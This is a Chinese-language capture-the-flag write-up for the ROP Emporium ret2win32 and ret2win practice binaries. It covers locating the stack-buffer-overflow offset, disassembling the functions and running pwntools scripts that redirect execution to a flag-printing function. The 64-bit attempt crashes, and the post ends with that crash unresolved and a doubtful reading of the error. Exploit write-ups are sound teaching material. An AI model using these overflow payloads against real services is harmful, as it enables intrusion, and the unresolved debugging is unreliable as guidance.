题目下载地址: ROP Emporium
1. ret2win32
信息收集
$ file ret2win32
ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1596c11f85b3ed0881193fe40783e1da685b851, not stripped
$ checksec ret2win32
[*] '/home/starr/Documents/CProject/pwn/ret2win32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
32位程序,开启了NX防护。
开启崩溃转储,用cyclic试一下溢出:
$ ulimit -c unlimited
$ sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic 200 > cyclic.txt
$ ./ret2win32 < cyclic.txt
ret2win by ROP Emporium
x86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Segmentation fault (core dumped)
$ gdb ./ret2win32 ./ret2win32.core.12145
Core was generated by `./ret2win32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x6161616c in ?? ()
$ cyclic -l 0x6161616c
44
缓冲区偏移44字节处为返回地址。
反汇编
$ objdump -M intel -d ./ret2win32
08048546 <main>:
...
804858b: e8 1d 00 00 00 call 80485ad <pwnme>
...
080485ad <pwnme>:
80485ad: 55 push %ebp
...
0804862c <ret2win>:
804862c: 55 push %ebp
...
main主要就是调用pwnme。
用ida看看pwnme的具体逻辑和内存地址:
.text:080485AD push ebp
.text:080485AE mov ebp, esp
.text:080485B0 sub esp, 28h
.text:080485B3 sub esp, 4
.text:080485B6 push 20h ; ' ' ; n
.text:080485B8 push 0 ; c
.text:080485BA lea eax, [ebp+s]
.text:080485BD push eax ; s
.text:080485BE call _memset
.text:080485C3 add esp, 10h
.text:080485C6 sub esp, 0Ch
.text:080485C9 push offset aForMyFirstTric ; "For my first trick, I will attempt to f"...
.text:080485CE call _puts
.text:080485D3 add esp, 10h
.text:080485D6 sub esp, 0Ch
.text:080485D9 push offset aWhatCouldPossi ; "What could possibly go wrong?"
.text:080485DE call _puts
.text:080485E3 add esp, 10h
.text:080485E6 sub esp, 0Ch
.text:080485E9 push offset aYouThereMayIHa ; "You there, may I have your input please"...
.text:080485EE call _puts
.text:080485F3 add esp, 10h
.text:080485F6 sub esp, 0Ch
.text:080485F9 push offset format ; "> "
.text:080485FE call _printf
.text:08048603 add esp, 10h
.text:08048606 sub esp, 4
.text:08048609 push 38h ; '8' ; nbytes
.text:0804860B lea eax, [ebp+s]
.text:0804860E push eax ; buf
.text:0804860F push 0 ; fd
.text:08048611 call _read ; read(stdin, buf, 56)
.text:08048616 add esp, 10h
.text:08048619 sub esp, 0Ch
.text:0804861C push offset aThankYou ; "Thank you!"
.text:08048621 call _puts
.text:08048626 add esp, 10h
.text:08048629 nop
.text:0804862A leave
.text:0804862B retn
buf位于ebp-0x28(40字节)的位置,但read却可以输入56(0x38)个字节,所以刚刚的cyclic在偏移44字节处(ebp+4)覆盖返回地址。
再看下ret2win函数,它直接输出flag:
.text:0804862C ret2win proc near
.text:0804862C ; __unwind {
.text:0804862C push ebp
.text:0804862D mov ebp, esp
.text:0804862F sub esp, 8
.text:08048632 sub esp, 0Ch
.text:08048635 push offset aWellDoneHereSY ; "Well done! Here's your flag:"
.text:0804863A call _puts
.text:0804863F add esp, 10h
.text:08048642 sub esp, 0Ch
.text:08048645 push offset command ; "/bin/cat flag.txt"
.text:0804864A call _system
.text:0804864F add esp, 10h
.text:08048652 nop
.text:08048653 leave
.text:08048654 retn
.text:08048654 ; } // starts at 804862C
.text:08048654 ret2win endp
因为checksec部分并没有开启pie,所以将返回地址覆盖为0x0804862C即可。
Exp
from pwn import *
context.arch = "i386"
context.bits = 32
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
io = getio("./ret2win32")
pRet2Win = 0x804862c;
payload = bytes("A"*44, encoding="ascii")
payload += p32(pRet2Win)
io.recvuntil(">")
io.sendline(payload)
print(io.recv())
io.interactive()
顺利拿到flag。
2. ret2win
逻辑和ret2win32一样,但改成了64位:
$ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
$ checksec ret2win
[*] '/home/starr/Documents/CProject/pwn/ret2win'
Arch: amd64-64-little
...
还是用刚刚的cyclic.txt, 崩溃信息如下:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x0000000000400755 in pwnme ()
这里的崩溃信息显示程序停在了0x400755,这其实是pwnme的ret指令所在地址,因为 64 位可以使用的内存地址不能大于 0x00007fffffffffff
,所以不能反馈出溢出点。
调试一下:
────────────────────────────────────── stack ────
0x007fffffffe2b8│+0x0000: 0x6161616c6161616b ← $rsp
...
───────────────────────────────────── code:x86:64 ────
0x40074e <pwnme+102> call 0x400550 <puts@plt>
0x400753 <pwnme+107> nop
0x400754 <pwnme+108> leave
→ 0x400755 <pwnme+109> ret
返回地址是0x6161616c6161616b,经cyclic确认, 溢出点偏移是40:
$ cyclic -l 0x6161616c6161616b
[CRITICAL] Subpattern must be 4 bytes
$ cyclic -l 0x6161616b
40
反汇编
objdump -d ret2win
确认下ret2win的地址:
0000000000400756 <ret2win>:
400756: 55 push %rbp
顺便用ida看下pwnme吧:
.text:00000000004006E8 pwnme proc near ; CODE XREF: main+3B↑p
.text:00000000004006E8
.text:00000000004006E8 buf = byte ptr -20h
.text:00000000004006E8
.text:00000000004006E8 ; __unwind {
.text:00000000004006E8 push rbp
.text:00000000004006E9 mov rbp, rsp
.text:00000000004006EC sub rsp, 20h
.text:00000000004006F0 lea rax, [rbp+buf]
.text:00000000004006F4 mov edx, 20h ; ' ' ; n
.text:00000000004006F9 mov esi, 0 ; c
.text:00000000004006FE mov rdi, rax ; s
.text:0000000000400701 call _memset
.text:0000000000400706 mov edi, offset aForMyFirstTric ; "For my first trick, I will attempt to f"...
.text:000000000040070B call _puts
.text:0000000000400710 mov edi, offset aWhatCouldPossi ; "What could possibly go wrong?"
.text:0000000000400715 call _puts
.text:000000000040071A mov edi, offset aYouThereMayIHa ; "You there, may I have your input please"...
.text:000000000040071F call _puts
.text:0000000000400724 mov edi, offset format ; "> "
.text:0000000000400729 mov eax, 0
.text:000000000040072E call _printf
.text:0000000000400733 lea rax, [rbp+buf]
.text:0000000000400737 mov edx, 38h ; '8' ; nbytes
.text:000000000040073C mov rsi, rax ; buf
.text:000000000040073F mov edi, 0 ; fd
.text:0000000000400744 call _read ; read(stdin, buf, 0x38)
.text:0000000000400749 mov edi, offset aThankYou ; "Thank you!"
.text:000000000040074E call _puts
.text:0000000000400753 nop
.text:0000000000400754 leave
.text:0000000000400755 retn
.text:0000000000400755 ; } // starts at 4006E8
.text:0000000000400755 pwnme endp
要记住64位linux的调用约定是rdi, rsi, rdx, rcx, r8, r9。
Exp
from pwn import *
context.arch = "i386"
context.bits = 64
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
io = getio("./ret2win")
pRet2Win = 0x0000000000400756;
payload = bytes("A"*40, encoding="ascii")
payload += p64(pRet2Win)
# with open("payload.txt", "wb") as f:
# f.write(payload)
io.recvuntil(">")
# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv())
print(io.recvline())
io.interactive()
不过,崩溃了,,
#0 0x00007ffff7a312d6 in do_system (line=0x400943 "/bin/cat flag.txt") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.
显示文件不存在,但本地是有的:
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
手动把rodata里的字符串改成./flag.txt
,还是崩溃。。。
#0 0x00007ffff7a312d6 in do_system (line=0x400943 "/bin/cat ./flag.txt") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.